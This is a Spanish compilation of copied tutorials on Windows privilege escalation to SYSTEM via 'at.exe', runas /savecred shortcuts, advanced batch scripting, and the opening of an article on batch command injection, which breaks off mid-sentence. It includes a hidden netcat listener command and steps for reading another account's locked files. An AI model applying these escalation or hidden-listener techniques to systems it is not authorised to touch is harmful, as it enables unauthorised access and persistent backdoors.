En este caso lo haremos para poder acceder a la Carpeta del Administrador al cual se le olvidó la contraseña y no podemos acceder a su cuenta ya que los documentos que pertenecen a esa cuenta están con privilegios de acceso solamente a esa cuenta. Es más ni siquiera con la cuenta de VM_Felipe se puede acceder a esa carpeta. Recalco que la información a recuperar es vital y encima no tenemos tiempo de estar desarmando la computadora y poner el disco como esclavo para poder acceder a esas carpetas, incluso después de hacer eso te darás con el chasco de no poder acceder por falta de permisos.

Pero espera, no desesperes, por eso está este tutorial. Para ayudarte en situaciones extremas. Ya me siento tipo Survivor Man, jajaja, nada que ver, pero bueno, continuemos.

En la siguiente imagen estamos logueados en la cuenta VM_Felipe que es una cuenta administrativa.

Ahora, cerramos sesión.

Ahora presionamos Ctrl+Alt+Supr, 2 veces seguids para obtener la siguiente ventana en la cual nos loguearemos como Administrador.

Nos logueamos, en este caso aún la cuenta Administrador no tiene clave así que la vamos a poner para emular el caso que comentamos.

Apenas logueados, creamos la contraseña para el usuario Administrador.


Estableceremos el acceso a los archivos y carpetas de Administrador como privados para hacerla un poco más dificil el acceso desde otras cuentas. Claro a todas menos a System.

Ahora, una vez creada la contraseña, cerramos la sesión.

Accedemos ahora a la cuenta VM_Felipe.

Ahora, estamos en el caso que comentamos arriba, se nos olvidó la clave y necesitamos acceder a las carpetas del Administrador para recuperar su información. Abramos un explorador de Windows.


Intentemos acceder a la carpeta del Administrador y vemos que nos sale error de Acceso: Acceso Denegado. Como vemos aún nuestra cuenta VM_Felipe que es también una cuenta Administrativa nos deniega el acceso. !! Necesitamos la información !!

Aquí, es donde empieza la VERDADERA ACCIÓN. Vamos a escalar los privilegios de VM_Felipe a System, para eso ejecutaremos la poderosa Consola, Intérprete de comando, Línea de comandos, DOS, o como más lo conozcas. Así que vamos al menú ejecutar (tecla windows + R), o menú Inicio, Ejecutar. Y tecleamos CMD y le damos en Aceptar.


Una vez dentro de la línea de comandos usaremos el comando “at.exe”, este comando también es conocido como el programador de tareas desde la línea de comandos.

Ahora, la falla o el problema está en que cuando un usuario ejecuta una línea de comandos (cmd.exe) mediante el comando “at.exe”, esta línea de comandos hereda permisos de la cuenta de sistema (System).

Con esto, basta con reiniciar el Explorador (explorer.exe) desde esa ventana para que los nuevos procesos ejecutados desde esta misma ventana se ejecuten con privilegios de la cuenta System!!.

NOTA: Esta técnica sirve para elevar los permisos de “Administrador” a “System” debido a que el uso del comando “at.exe” no está permitido para todos los usuarios, solo a aquellos con cuentas Administrativas.

Entonces vamos a programar que el comando “at.exe” ejecute el “cmd.exe”. Para esto necesitamos la hora, así que usamos el comando “time.exe”.

Vemos que la hora es 22:56, así que programos se ejecute el “cmd.exe” a las 22:57, usando el siguiente comando enmarcado en amarillo.


Luego de ejecutar el comando, vemos que se agrega el trabajo para ejecutar el cmd.

A las 22:57 se ejecuta nuestra tarea y vemos que aparece nuestra línea de comando. Debo recalcar nuevamente que esta nueva línea de comandos no es cualquier línea de comandos, es una línea de comandos que ha heredado permisos de la cuenta System, osea es una Línea de comandos de System!!

Ahora, minimizamos nuestra de línea de comandos marcada en rojo y cerramos la primera línea de comandos en la que ejecutamos el comando “at.exe”.

Ahora como les dije. La nueva consola o línea de comandos que tiene privilegios de System es capaz de hacer cualquier cosa. Así que vamos primero a empezar cerrando el proceso del Explorador de Windows que aún se está ejecutando con permisos del usuario VM_Felipe. Para esto usamos el comando: taskkill /f /im explorer.exe

Hecho esto, veremos que nos quedamos sólo con la línea de comandos.
Ahora, desde esta línea de comando, ejecutemos el Explorador de Windows (explorer.exe), este Explorador que ejecutaremos desde esta consola, será un Explorador con permisos de la cuenta System!

Esperamos unos segundos, y vemos que estamos en la cuenta System. !El poder TOTAL!
Ahora, con esta cuenta System, intentemos de nuevo acceder a las carpetas del Usuario Administrador para recuperar su información.
Al seleccionar la carpeta del Administrador, ya no nos sale el mensaje de acceso denegado, tenemos Acceso TOTAL, como verás la siguiente imagen enmarca en rojo las carpetas del usuario Administrador a la que no podíamos acceder desde la cuenta VM_Felipe, así que ahora podemos sacar un backup o copia de seguridad de las Carpetas más preciadas de este usuario. Y por consiguiente alegrar o quitar el stress de un ser humano, nuestro granito de arena al mundo.

Aplicación Práctica en lucha contra el Software Malicioso

Supongamos ahora que has sido infectado con un terrible software malicioso que hace casi imposible su eliminación. Lo has intentado casi todo, has usado todos los programas habidos y por haber, has usado el hijacthis, a2hijackfree, el killbox, et, etc.

A mí de manera particular me tocó uno que se había enganchado al proceso de sistema LSASS.EXE, ahora, mientras esté enganchado al LSASS.EXE y éste esté activo no habrá forma de eliminarlo. Y como recordarás, cuando intentas finalizar el proceso LSASS.EXE desde cualquier cuenta, te sale lo siguiente:

Así que volvamos a nuestra consola System e intentemos terminar el Proceso LSASS.EXE, con el comando: taskkill /f /im lsass.exe


Se termina correctamente el proceso.
Pero al hacer esto automáticamente el sistema intenta protegerse y programa el reinicio automático del sistema. Pero aún debía yo eliminar el proceso malicioso, pues si reiniciaba, se volvería a cargar. Ahora tenía ventaja, una ventaja de 60 segundos para eliminar el software malicioso.
Pero espera, nosotros somos más listos, porque hacer todo a la apurada? acaso no podemos cancelar este reinicio? jejeje, SI, SI PODEMOS, para esto, en la misma consola escribimos el comando para cancelar el reinicio: shutdown -a

Listo!!! Tenemos los procesos de reinicio cancelados y también los procesos con ganchos maliciosos terminados, ahora se procede a eliminar cualquier cosa que te esté fastidiando.

Si haces Ctrl+Alt+Supr despues de haber finalizado el proceso LSASS.EXE verás lo siguiente.

Luego de haber paseado a tus anchas por el Paraiso, puedes proceder a cerrar la consola usando el comando “exit”

Bueno, espero que hayan disfrutando este tutorial de PODER! así como yo lo disfruté haciéndolo.

Hasta luego,



Como ejecutar una aplicación con privilegios administrativos en perfiles limitados por Josh Sáenz G.
fuente: http://geeks.ms/blogs/vista-tecnica/archive/2008/07/21/como-ejecutar-una-aplicaci-243-n-con-privilegios-administrativos-en-perfiles-limitados.aspx

En muchas ocasiones nos encontramos con esta situación: Un usuario limitado que necesita ejecutar una aplicación en su equipo con privilegios administrativos, pero no queremos que conozca las credenciales de otro usuario administrador.

En Windows Vista, con UAC habilitado podemos hacer que por defecto el sistema ejecute una aplicación como administrador (Propiedades del acceso directo > Avanzado > Ejecutar como administrador), o si no, simplemente con el botón derecho seleccionamos el menu Ejecutar como Administrador...

En ambos casos, el sistema solicitará la contraseña del administrador. Pero si no queremos indicarle al usuario cuales son estas credenciales, entonces que opciones tenemos.

La primera opción es otorgarle permisos administrativos directamente al usuario, sin embargo ésto no es recomendable ya que estaríamos dándole más privilegios de los que realmente necesita y podíra ejecutar acciones que no queremos, por ejemplo, instalar programas o modificar la configuración del equipo. Otra opción es modificar manualmente los permisos necesarios tanto a nivel de archivos como de registro para que la aplicación se pueda ejecutar correctamente. Esto puede ser viable siempre y cuando el producto se mantenga mas o menos estable, es decir, que con una actualización no se altere la estructura de permisos necesarios. Además tendríamos que averiguar qué carpetas, archivos y claves de registro requiere acceso la aplicación, por lo tanto el trabajo necesario puede llegar a ser bastante laborioso. Las herramientas Filemon, Regmon y ProcessExplorer de Microsoft Sysinternals, nos pueden ayudar en estas tareas.

Pero nos queda una última opción gracias a la combinación del programa runas.exe y el uso de accesos directos.

Por ejemplo, si queremos hacer que un usuario limitado ejecute Internet Explorer como un administrador, pero sin tener que introducir las credenciales cada vez que inicia el programa, haríamos lo siguiente:

  1. Crear un nuevo acceso directo a Internet Explorer en el escritorio (u otra ubicación)
  2. En la linea de ejecución del asistente escribimos: runas.exe /user:Administrator /savecred "C:\Program Files\Internet Explorer\iexplore.exe"
  3. Escribimos el nombre del acceso directo, por ejemplo "Internet Explorer Admin" y lo guardamos.

Cuando ejecutemos el acceso directo por primera vez, el sistema nos solicitará las credenciales del usuario Administrador, pero gracias al parámetro /savecred, la contraseña se almacena localmente y no se volverá a solicitar, permitiendo así que un usuario limitado ejecute una aplicación como un administrador, sin tener que conocer previamente las credenciales administrativas.

Si, vamos un poco más alla, podemos hacer que un usuario limitado pueda cambiar las propiedades del Firewall de Windows Vista, o abrir una consola administrativa. El procedimiento es similar al anterior y la única diferencia es la línea de ejecución que tendrá el acceso directo:

  • runas.exe /user:Administrator /savecred "mmc.exe C:\AdminCon.msc" (Si la consola administrativa AdminCon.msc está ubicada en el disco C:)
  • runas.exe /user:Administrator /savecred "control.exe /name Microsoft.WindowsFirewall"

Si el usuario administrativo no es local, sino un usuario de dominio, entonces cambiamos /user:Administrator por /user:DOMINIO\USUARIO_ADMINISTRADOR

A continuación os dejo la lista de subelementos del panel de control que podemos ejecutar directamente desde la línea de comandos o desde un acceso directo:

Microsoft.AddHardware

Microsoft.PenAndInputDevices

Microsoft.AdministrativeTools

Microsoft.PeopleNearMe

Microsoft.AudioDevicesAndSoundThemes

Microsoft.PerformaceInformationAndTools

Microsoft.AutoPlay

Microsoft.Personalization

Microsoft.BackupAndRestoreCenter

Microsoft.PhoneAndModemOptions

Microsoft.BitLockerDriveEncryption

Microsoft.PowerOptions

Microsoft.Bluetooth

Microsoft.Printers

Microsoft.CardSpace

Microsoft.ProblemReportsAndSolutions

Microsoft.ColorManagement

Microsoft.ProgramsAndFeatures

Microsoft.DateAndTime

Microsoft.RegionalAndLanguageOptions

Microsoft.DefaultPrograms

Microsoft.ScannersAndCameras

Microsoft.DeviceManager

Microsoft.SecurityCenter

Microsoft.EaseOfAccessCenter

Microsoft.SpeechRecognitionOptions

Microsoft.FolderOptions

Microsoft.SyncCenter

Microsoft.Fonts

Microsoft.System

Microsoft.GameControllers

Microsoft.TabletPCSettings

Microsoft.GetPrograms

Microsoft.TaskbarAndStartMenu

Microsoft.GetProgramsOnline

Microsoft.TextToSpeech

Microsoft.IndexingOptions

Microsoft.UserAccounts

Microsoft.Infrared

Microsoft.WelcomeCenter

Microsoft.InternetOptions

Microsoft.WindowsAnytimeUpgrade

Microsoft.iSCSIInitiator

Microsoft.WindowsDefender

Microsoft.Keyboard

Microsoft.WindowsFirewall

Microsoft.MobilityCenter

Microsoft.WindowsSideShow

Microsoft.Mouse

Microsoft.WindowsSidebarProperties

Microsoft.NetworkAndSharingCenter

Microsoft.WindowsUpdate

Microsoft.OfflineFiles

Microsoft.ParentalControls

A pesar de esto, hay que tener en cuenta que este procedimiento no impide que un usuario limitado modifique el acceso directo y ejecute otros componentes o aplicaciones que no queremos que ejecute, por lo tanto, es recomendable utilizar esta alternativa sólo si se puede garantizar que el usuario no tenga acceso a otros componentes o a ejecutar otras aplicaciones, por ejemplo, limitando su acceso mediante políticas de grupo o modificando las ACE en el acceso directo.

pagina para saber que procesos puedes deshabilitar del msconfig

http://whatisthatfile.com/

la pagina de donde se recopilo la informacion: http://foro.elhacker.net/scripting/programacion_batch_avanzada_nuevo-t132924.0.html

Programación BATCH Avanzada.

Temario.
1.- Variables y Argumentos.
2.- Imprimir caracteres de comandos.
3.- Algunas otras variables de Entorno.
4.- IF
5.- FOR
6.- Funciones
7.- Includes
8.- Misc
9.- EOF


Variables y Argumentos

El manejo de variables en batch, es muy flexible., y este nos permite hacer desde operaciones matemáticas, hasta seleccionar ciertas partes de una variable, asi como reemplazar cadenas de texto, y obtener archivos.. y sus propiedades, la fecha, hora, generar numeros aleatorios, entre otros.

Los argumentos que recibe un batch, son recibidos de la siguiente forma:

batch argumento1 dos tres

hara que:
%0 = batch
%1 = argumento1
%2 = dos
%3 = tres

en %0 se guardara, el nombre del archivo.

Podemos borrar el contenido de un parametro con el comando shift:

Código:
@echo off
echo %0 %1 %2 %3
shift /1
echo %0 %1 %2 %3

al llamar:

Código:
C:\Documents and Settings\Administrador\tempcurso>astring 123 456 789
astring 123 456 789
astring 456 789

shift borro, el primer argumento.

Tambien contamos con los siguientes modificadores para los archivos:

Código:
       %~f1        - regresa la ruta y el archivo de %1.
%~d1 - regresa la letra de la unidad de %1.
%~p1 - regresa solo la ruta del archivo %1.
%~n1 - regresa solo el nombre de archivo %1.
%~x1 - regresa solo la extension del archivo %1.
%~s1 - regresa solo la ruta, con directorios, con nombres cortos del archivo %1.
%~a1 - regresa los atributos del archivo.
%~t1 - regresa la hora/fecha del archivo %1
%~z1 - regresa el tamaño del archivo %1.

por ejemplo:

en un directorio donde tenemos:

Código:
C:\Documents and Settings\Administrador\tempcurso>dir
El volumen de la unidad C no tiene etiqueta.
El número de serie del volumen es: A057-553B

Directorio de C:\Documents and Settings\Administrador\tempcurso

24/07/2006 12:25a .
24/07/2006 12:25a ..
24/07/2006 12:25a 6 archivo.txt
1 archivos 6 bytes
2 dirs 401,715,161,088 bytes libres

este batch:

Código:
@echo off
echo Ruta al archivo: %~f1
echo Disco: %~d1
echo Solo ruta: %~p1
echo Nombre: %~n1
echo Extension: %~x1
echo Ruta Corta: %~s1
echo Atributos: %~a1
echo Fecha: %~t1
echo Tamaño: %~z1

llamandolo analiza.bat, saca el siguiente resultado:

Código:
C:\Documents and Settings\Administrador\tempcurso>analiza archivo.txt
Ruta al archivo: C:\Documents and Settings\Administrador\tempcurso\archivo.txt
Disco: C:
Solo ruta: \Documents and Settings\Administrador\tempcurso\
Nombre: archivo
Extension: .txt
Ruta Corta: C:\DOCUME~1\ADMINI~1\TEMPCU~1\archivo.txt
Atributos: --a------
Fecha: 24/07/06 12:25a
Tama±o: 6

Tambien podemos usar varias propiedades, por ejemplo, este codigo:
Código:
@echo off

echo %~anxt1

saca este resultado:

Código:
C:\Documents and Settings\Administrador\tempcurso>analiza archivo.txt
--a------ 24/07/06 12:25a archivo.txt

Si lo que recibimos no es un archivo, sino una cadena de texto, que contiene mas de una palabra, se debe poner entre comillas, algo asi:

astring "parametro de varias letras"

al obtenerlo, en %1, lo recibimos con comillas, pero si usamos:

Código:
@echo off
echo Con Comillas: %1
echo Sin Comillas: %~1

saca este resultado:

Código:
C:\Documents and Settings\Administrador\tempcurso>astring "parametro de varias letras"
Con Comillas: "parametro de varias letras"
Sin Comillas: parametro de varias letras

Y por ejemplo, si queremos obtener todos los argumentos, se usa:

%*

es decir:

Código:
@echo off

echo Argumentos: %*

al ejecutar:

astring parametro de varias letras

nos regresa:

Código:
C:\Documents and Settings\Administrador\tempcurso>astring parametro de varias letras
Argumentos: parametro de varias letras

Para asignar a una variable, el valor de algo escrito por el usuario, puedes usar:

set /P variable=

por ejemplo:
Código:
@echo off
echo ¿Como te llamas?
set /P miva=

echo Tu te llamas %miva%

hara algo asi:

Código:
C:\Documents and Settings\Administrador\tempcurso>astring
┐Como te llamas?
Juan
Tu te llamas Juan

Ahora, si por ejemplo, queremos, hacer algo como, obtener las ultimas 3 letras del nombre:

Código:
@echo off
echo Escribe tu Nombre
set /P NOM=
echo %NOM:~-3%

Aqui lo que estamos haciendo en la ultima linea:

%NOM:~-3%
hara, obtener los ultimos 3 caracteres, como si se tratara de la funcion substring.

por ejemplo, esto:

%NOM:~1,3%

obtendra del segundo al cuarto caracter. (empiezas desde 0, recuerda)

Para reemplazar cadenas, dentro de otra variable, es la siguiente sintaxis:
Código:
@echo off
echo Escribe una frase
set /P FRA=
echo %FRA:e=XXX%

esto reemplazara las letras "e" por "XXX".

Para hacer calculos matematicos, se usa el modificado /A, de esta forma:

Código:
@echo off
set /A x=1
echo %x%
set /A x=x*9
echo %x%

tenemos las siguientes operaciones disponibles:

Código:
()                  - agrupar
* / % - operadores aritméticos
+ - - operadores aritméticos
<< >> - mayús lógica
& - AND
^ - XOR
| - OR
= *= /= %= += -= - asignación
&= ^= |= <<= >>=
, - separador de expresión

Con este podemos usar numeros hexadecimales de la siguiente forma:

Código:
@echo off
set /A x=2
echo %x%
set /A x=x*0xff
echo %x%

al colocar 0x estamos especificando, que a continuacion se pondra un valor hexadecimal.



Imprimir caracteres sin usar comandos

Ahora, se preguntaran, en las variabes, siempre usamos los signos %
Como imprimes uno?

veamos:

Código:
@echo off
set x=pru
set pru=HOLA

:: Esto imprimira el contenido de x
echo %x%

::Esto imprimira la letra x
echo x

::Esto imprimira %x%
echo %%x%%

::Esto imprimira el valor de x entre %%
echo %%%x%%%

:: Lo mismo
echo %pru%
echo %%pru%%
echo %%%pru%%%

En resumen, si quieren imprimir, el caracter %, deben colocarlo 2 veces.

Para otros caracteres, que ejecutan alguna accion en batch como:
&
|
< >

debes colocar este caracter antes:^

por ejemplo:

Código:
echo 

Hola

>index.html

no funcionara, pero:

Código:
echo ^^Hola^^ >index.html

dara:
Código:
C:\Documents and Settings\Administrador\tempcurso>type index.html

Hola





Algunas otras variables de entorno

Tenemos otras variables de entorno que podrian servir, ademas de las comunes de ALLUSERSPROFILE y HOMEPATH, por ejemplo:

Código:
@echo off
echo Directorio Actual: %CD%
echo Fecha: %DATE%
echo Hora: %TIME%
echo Numero Aleatorio: %RANDOM%
dara como resultado:

Código:
C:\Documents and Settings\Administrador\tempcurso>astring
Directorio Actual: C:\Documents and Settings\Administrador\tempcurso
Fecha: Lun 24/07/2006
Hora: 2:13:49.33
Numero Aleatorio: 24523

C:\Documents and Settings\Administrador\tempcurso>astring
Directorio Actual: C:\Documents and Settings\Administrador\tempcurso
Fecha: Lun 24/07/2006
Hora: 2:13:51.60
Numero Aleatorio: 3681

Otras instrucciones muy utiles, serian POPD y PUSHD, que sirven para guardar y regresar al directorio actual, por ejemplo:

Código:
@echo off
echo %CD%
PUSHD \
echo %CD%
POPD
echo %CD%

PUSHD funciona de la siguiente manera:

Guarda el directorio actual., y va a la ruta especificada.

POPD regresa al directorio guardado por PUSHD

podemos usarlos uno dentro de otro, asi:

Código:
@echo off
echo %CD%
PUSHD \
echo %CD%
PUSHD %homepath%
echo %CD%
POPD
echo %CD%
POPD
echo %CD%



IF

If, reconoce varias situaciones:

valores de error
comparar cadenas
existencia de archivos
comparaciones matematicas

como ya sabemos %ERRORLEVEL% almacena algunos valores de otras funciones.

al hacer

IF ERRORLEVEL 1 @echo ok ELSE @echo no

estariamos preguntando si ERRORLEVEL es 1, si lo es imprime OK, si no, imprime NO.

tambien podemos comparar cadenas, por ejemplo:

Código:
@echo off
IF "%~1"=="hola" echo hola

usamos %~1 para que aunque el usuario ponga comillas, no salga error ;)

Código:
@echo off
IF /I "%~1"=="hola" echo hola

este codigo, solo responde si dices hola CON minusculas. /I es para hacer mas estricta la comparacion.

ahora, podemos usar IF en varias lineas:

Código:
@echo off
IF EXIST %~snx1 (
echo EXISTE!
) ELSE (
echo NO EXISTE
)

con parentesis ().

si vamos a usar comparaciones numericas, debemos usar los siguientes codigos de comparación:

Código:

EQU - igual
NEQ - no igual
LSS - menor que
LEQ - menor que o igual
GTR - mayor que
GEQ - mayor que o igual


por ejemplo:

Código:
@echo off
echo Cual es tu edad?
SET /P m=
IF %m% GEQ 18 (
echo ERES MAYOR DE EDAD
) ELSE (
echo NO ERES MAYOR DE EDAD
)

que regresa:

Código:
C:\Documents and Settings\Administrador\tempcurso>acon
Cual es tu edad?
19
ERES MAYOR DE EDAD

C:\Documents and Settings\Administrador\tempcurso>acon
Cual es tu edad?
17
NO ERES MAYOR DE EDAD

Tambien podemos saber si una variable ya fue definida:

Código:
IF DEFINED var (
echo SI
) ELSE (
echo NO
)



FOR

FOR es una herramienta muy completa, nos permite analizar segmentos de la salida de comandos, funciones y el contenido de archivos.

Tambien permite hacer bucles de la siguiente manera:

Código:
FOR /L %%var IN (inicio,incremento,fin) DO (acciones)

inicio, es el valor inicial, incremento es la cantidad a sumar, y fin es la cantidad a detenerse, por ejemplo:

Código:
FOR /L %%i IN (0,1,10) DO (echo %%i)
imprimira 0 1 2 3 4 5 6 7 8 9 10

sinembargo, la forma mas sencilla de usar FOR, es para numerar archivos, y hacer algo con ellos.. por ejemplo:

Código:
FOR %%x in (x*) DO echo %%x
mostrará todos los archivos que empiezan con x.

para SOLO mostrar directorios:
Código:
FOR /D %%x in (m*) DO echo %%x
el modificador "/D", mostrará solo los directorios, que empiesen con m.

El comando se puede hacer "recursivo", es decir, que se ejecute dentro de cada directorio, con el comando "/R", por ejemplo, en una estructura de directorios como la siguiente:

Código:
├───adios
│ └───algo
│ └───xx
└───hola

al ejecutar el comando:
Código:
FOR /R /D %%x in (a*) DO echo %%x
C:\adios
C:\adios\algo

sinembargo, al ejecutar el comando..
Código:
FOR /R %%x in (*x*) DO echo %%x
C:\ax.txt
C:\adios\sx.txt
C:\adios\wwx.txt
C:\adios\algo\kkx.txt
C:\adios\algo\xx\xx.txt
C:\hola\ax.txt
C:\hola\rx.txt

nos mostrara todos los archivos que coinciden con la sequencia especificada, incluso podriamos hacer un buscador en batch, con el uso de FINDSTR y FOR.

Tenemos otro modificador, /F que nos permite usar ciertas opciones para separar el resulado de las acciones.. comandos, cadenas, o archivos. Su sintaxis es la siguiente:

Código:
FOR /F ["opciones"] %var IN (conjunto) DO (acciones)

conjunto puede ser:
conjunto de archivos -> sin comillas
cadena de caracteres -> con comillas dobles (" ")
comando -> con comilla simple (' ')

las opciones son las siguientes:
eol -> todo lo que este despues de este caracter sera ignorado (para cada linea)
skip -> numero de lineas a saltarse al principio del archivo/comando.
delims -> esto sirve para separar las strings.. si no se coloca esta opcion, se usaran como separadores "espacio" y "tab"
tokens -> esto es para especificar cuales segementos, delimitados por "delims", seran pasados a las variables.. por ejemplo:
1,2,3
solo pasara los primeros 3 segmentos.
1,2*
pasara 2 segmentos, el primero y todo lo que este despues (el * regresa todo el resto de la linea)
1,2-6,8,9*
regresara 4 segmentos, el primero, desde el segundo hasta el sexto, el octavo y el resto de la linea, despues del noveno, el signo de menos (-) genera intervalos.

por ultimo, esta la opcion:
usebackq -> que cambia la forma de interpretar si es string o comando, de la siguiente manera:
'cadena'
`comando`

Nota: [`] es diferente al caracter de acento [´]

por ejemplo, el siguiente comando:

Código:
FOR /F "tokens=1,3-5,7-9,10* delims= " %%i IN ("George no es malvado, es bondadoso, siempre piensa en los demas.") DO echo %%i %%j %%k %%l tonto, %%m %%n %%o matar a %%p %%q

dara de resultado:
Código:
George es malvado, es tonto, siempre piensa en matar a los demas.



Funciones

El uso de argumentos, de etiquetas y de filtros nos ayuda mucho al momento de escribir un codigo.

Muchos creen que las etiquetas solo sirven para los goto.. sinembargo una etiqueta puede servir de funcion y recibir parametros.

miren, el siguiente programa:
Código:
@echo off
call:funcion 1 2 3
call:funcion %*
goto:EOF
:funcion
echo Estoy en: %~nx0-^>%0 %*

al ser llamado, por ejemplo en:
Código:
C:\>ejemplo
Estoy en: ejemplo.bat->:funcion 1 2 3
Estoy en: ejemplo.bat->:funcion
el primero muestra los parametros enviados por el batch (1 2 3), y el segundo los parametros enviados al programa.
en este otro ejemplo:
Código:
C:\>ejemplo HOLA MUNDO
Estoy en: ejemplo.bat->:funcion 1 2 3
Estoy en: ejemplo.bat->:funcion HOLA MUNDO
la funcion obtiene tambien los argumentos del programa.

hasta ahora.. todo es igual a usar goto a excepcion del uso de argumentos, sinembargo.. si queremos hacer un.. "return", se hace usando:
goto:EOF
entonces, en situaciones como:
Código:
@echo off&call:main&goto:EOF

:suma
set /A res=%1 + %2
echo %res%
goto:EOF

:resta
set /A res=%1 - %2
echo %res%
goto:EOF

:multiplica
set /A res=%1 * %2
echo %res%
goto:EOF

:main
set /P arg=Escribe 2 numeros separados por un espacio
echo %arg%
echo su suma es:
call:suma %arg%

echo su resta es:
call:resta %arg%

echo su producto es:
call:multiplica %arg%

goto:EOF

como podemos ver goto:EOF se usa para regresar al orden de comandos.

el resultado es algo asi:

Código:
C:\>operaciones
Escribe 2 numeros separados por un espacio 6 2
6 2
su suma es:
8
su resta es:
4
su producto es:
12



Includes
Para hacer un "include" oincluir un archivo, solo debes llamarlo asi:
archivo_a_incluir.bat funcion argumentos
y en el archivo a incluir, debe de estar al principio: @echo off&call:%*&goto:EOF

queda algo asi:
Código:
@echo off&call:%*&goto:EOF
:funcion1
...
:funcion2
...

por ejemplo:

--inclu.bat--
Código:
@echo off&call:%*&goto:EOF

:cabeza
echo ###############
echo # Hecho por: #
echo # sirdarckcat #
echo ###############
goto:EOF

:uso
echo uso:
echo %~nx0 Nombre
goto:EOF

:nombre
echo Hola %*
goto:EOF

--inicio.bat--
Código:
@echo off
if "%~1"=="" (
inclu.bat cabeza
inclu.bat uso
) else (
inclu.bat nombre %~1
)

esto daria este resultado:

Código:
C:\>inicio
###############
# Hecho por: #
# sirdarckcat #
###############
uso:
inclu.bat Nombre

C:\>inicio sirdarckcat
Hola sirdarckcat

C:\>



Misc
Algunos filtros y comandos interesantes:

  • comando | more
muestra el resultado del comando de forma paginada

  • comando | sort
muestra el resultado del comando de forma ordenada

  • TITLE "algo"
cambia el titulo de la ventana de CMD

  • SUBST ruta/a/alguna/carpeta [letra_unidad]
asgina a letra_unidad la ruta de acceso

  • FIND "cadena"
busca cierta cadena en un archivo (se puede usar como filtro), con el modificador /v encuentra solo las que NO tienen la linea especificada. (para mas info, escribe en CMD: FIND /?)

  • FINDSTR
extension de FIND, acepta expresiones regulares, y busqueda general (lo mas parecido que DOS tiene a grep), descripción detallada:
Código:
Busca cadenas en los archivos.

FINDSTR [/B] [/E] [/L] [/R] [/S] [/I] [/X] [/V] [/N] [/M] [/O] [/P]
[/F:archivo]
[/C:cadena] [/G:archivo] [/D:lista de directorios] [/A:atributos de color]
[cadenas] [[unidad:][ruta]nombredearchivo[ ...]]

/B Hace coincidir los modelos si están al principio de la línea.
/E Hace coincidir los modelos si están al final de la línea.
/L Literalmente utiliza cadenas de búsqueda.
/R Utiliza cadenas sde búsqueda como expresiones regulares.
/S Busca archivos que coinciden en el directorio actual y en todos
los subdirectorios.
/I Especifica que la búsqueda no distingue mayúsculas de minúsculas.
/X Imprime líneas que coinciden con exactitud.
/V Sólo imprime líneas que no contienen una correspondencia.
/N Imprime el número de la línea antes de la línea que coincide.
/M Sólo imprime el nombre de archivo si el archivo contiene una
correspondencia.
/O Imprime un carácter de desplazamiento antes de las líneas que
coinciden.
/P Omite archivos con caracteres que no son imprimibles
/A:attr Especifica atributos de color con dos dígitos hexadecimales. Ver
"color /?"
/F:archivo Lee la lista de archivos desde el archivo especificado
(/ significa consola).
/C:cadena Utiliza una cadena especificada como una búsqueda de cadena
literal.
/G:archivo Coje la búsqueda de archivos desde el archivo especificado
(/ significa consola).
/D:dir Busca un signo de punto y coma de la lista delimitada de
directorios
cadenas Texto que se debe buscar.
[unidad:][ruta]nombredearchivo
Especifica un archivo o archivos que buscar.

Utiliza espacios para separar múltiples cadenas de búsqueda a no ser que
el argumento lleve un prefijo con /C. Por ejemplo, 'FINDSTR "qué tal" x.y'
busca "qué" o "tal" en el archivo x.y. 'FINDSTR /C:"qué tal" x.y' busca
"qué tal" en el archivo x.y.

Expresión regular de referencia rápida:
. Comodín: cualquier carácter
* Repetir: cero o más ocurrencias de un carácter previo o de clase
^ Posición de línea: comienzo de la línea
$ Posición de línea: fin de línea
[clase] Clase de carácter: cualquier carácter en la serie
[^class] Clase inversa: cualquier carácter que no esté en la serie
[x-y] Intervalo: cualquier carácter que esté dentro del intervalo
especificado
\x Escape: uso literal de un metacarácter x
\ Posición de palabra: fin de palabra

Para obtener una información más completa sobre expresiones regulares de
FINDSTR referirse al Comando de referencia Command en línea.


  • start "titulo ventana nueva" [OPCIONES] comando argumentos
START tiene mas opciones de las que son usadas comunmente.
"titulo ventana nueva" especifica el titulo de la ventana que se generará.

las opciones entre otros contienen:
/Druta - el programa inicia en el directorio..
/B - la aplicación se inicia sin ventana
/I - se inicia la aplicacion con el entorno original, es decir las modificaciones al entrono hechas en esta sesion, no afectaran el nuevo programa
/MIN - La nueva ventana se inicia minimisada
/MAX - La nueva ventana se inicia maximisada
/SEPARATE - El programa se inicia en una zona de memoria separada
/SHARED - El programa se inicia en una zona de memoria compartida

Iniciar en prioridades:

/LOW - baja
/NORMAL - normal
/HIGH - alta
/REALTIME - tiempo real
/ABOVENORMAL - sobre lo normal
/BELOWNORMAL - debajo de lo normal

/WAIT - Inicia el programa, y espera hasta que termine de ejecutarse

por ejemplo, si quieren abrir un programa sin generar una ventana, por ejemplo netcat, podrian hacer algo asi:

start /B /SEPARATE /HIGH /I /D %WINDIR% nc -L -p 1337 |exit

que lo inicia en una zona de memoria separada, con prioridad alta, en el contexto original, y en %windir%
EOF
EOF es una etiqueta que define el fin del archivo, sirve para terminar funciones, y en este caso, solo sirve para terminar el documento :), espero les sirva ;)



NOTA. ESTO ES DE DESDE LA PAGINA: http://foro.elhacker.net/scripting/vulnerabilidades_en_programas_batch-t167714.0.html

vulnerabilidades en programas BATCH


Vulnerabilidades en programas BATCH


Dado que recientemente me he dado cuenta de que las aplicaciones remotas
estan usando cada vez mas aplicaciones BATCH, (de las cuales yo he hecho
varias), para generar herramientas, con las cuales se cree que su uso es
seguro, he decidido escribir este documento sobre las vulnerabilidades en
estos programas, para que se reconsidere su uso en su futuro.
Estas vulnerabilidades, las he nombrados segun su semejanza con vulnera-
bilidades a nivel web, las cuales son BATCH Injection y BATCH Command
Execution.







BATCH Injection







Los que estén familiarizados con la seguridad a nivel web, seguramente
conocerán el término SQL Injection, o LDAP Injection, que nos permite
ejecutar sentencias SQL (o LDAP) en un interprete.
Mientras que estos ataques (especialmente SQLi), ya han sido ampliamente
estudiados, existe una variable, a la cual he llamado, BATCH Injection.
basándonos en el mismo princípio en el cual se basan las vulnerabílidades
de SQL Injection, el cual es insertar comandos extra, en una sentencia
con el uso de una variable comprometída, BATCH injection, nos permite
ejecutar comandos en un programa BATCH, que acepte alguna variable por
medio de el comando SET, o a travez de argumentos.

Puede que piensen que este ataque no es un vector de ataque remoto, pero
temo decirles que estan en un error. Aunque son pocas, existen programas
en los cuales, parte del código, utiliza BATCH, normalmente, para tareas
de administración via telnet. Un ejemplo, es el archivo en WindowsNT,
C:\WINNT\system32\login.cmd el cual aunque solo es una pantalla de
bienvenida, la cual nos da shell sin tener que vulnerar nada, demuestra
